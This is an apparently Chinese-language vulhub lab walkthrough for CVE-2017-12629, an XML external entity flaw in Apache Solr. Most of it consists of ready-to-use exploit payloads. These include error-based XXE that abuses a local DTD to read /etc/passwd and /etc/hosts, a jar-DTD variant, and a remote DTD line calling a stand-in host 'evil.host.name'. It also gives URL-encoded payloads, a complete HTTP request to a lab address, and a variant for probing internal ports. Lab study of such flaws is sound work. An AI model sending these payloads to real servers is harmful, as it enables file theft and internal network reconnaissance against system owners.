Apache Solr XXE(CVE-2017-12629)--vulhub

Apache solr XML 实体注入漏洞(CVE-2017-12629)

XXEpayload

xml 复制代码
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/hosts">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

其他dtd文件

利用jar包中的dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/solr/server/solr-webapp/webapp/WEB-INF/lib/lucene-queryparser-7.0.1.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd">

远程dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "http://evil.host.name/include.dtd">

### include.dtd ### 
<!ENTITY % test "example">
<!ELEMENT pattern (%test;)>

单行payload

xml 复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

将payload进行url编码(xxe代码转为单行后的代码)

复制代码
%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E

构造数据包发送

复制代码
GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: 192.168.200.142:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

进行发包,响应包是400,结果回显到了响应包中

读取/etc/passwd

读取/etc/hosts文件

复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

返回包400,有命令回显

使用http探测端口开放情况

复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

这里探测8983端口,解析xml出错,说明端口是开放的

22端口则提示不合法的http

未开放端口则会提示,拒绝连接

相关推荐
熊文豪9 小时前
工业物联网时序数据库选型指南:Apache IoTDB 的技术优势与应用实践
物联网·apache·时序数据库·iotdb
一个天蝎座 白勺 程序猿10 小时前
Apache IoTDB(10):数据库操作——从查询到优化的全链路实践指南
数据库·apache·时序数据库·iotdb
云计算老刘11 小时前
1.项目实战:LAMP-LNMP-分离部署
linux·mysql·php·apache·mariadb
SelectDB12 小时前
字节跳动:Apache Doris + AI 一站式融合数据引擎的探索与实践
数据库·apache
可涵不会debug16 小时前
时序数据库选型指南:大数据时代下Apache IoTDB的崛起之路
大数据·apache·时序数据库
p***q7816 小时前
【保姆级教程】apache-tomcat的安装配置教程
java·tomcat·apache
SelectDB17 小时前
Apache Doris 中的 Data Trait:性能提速 2 倍的秘密武器
数据库·后端·apache
老马爱知2 天前
第5篇 | Web应用的“外邪”:XSS、CSRF与SSRF漏洞详解
web安全·xss·csrf·零信任·ssrf·信任边界·攻防启示录
0vvv02 天前
玄机靶场:第一章日志分析-apache日志分析
靶场·apache
xuyanqiangCode2 天前
Ubuntu二进制安装Apache Doris(2.1版本)
linux·ubuntu·apache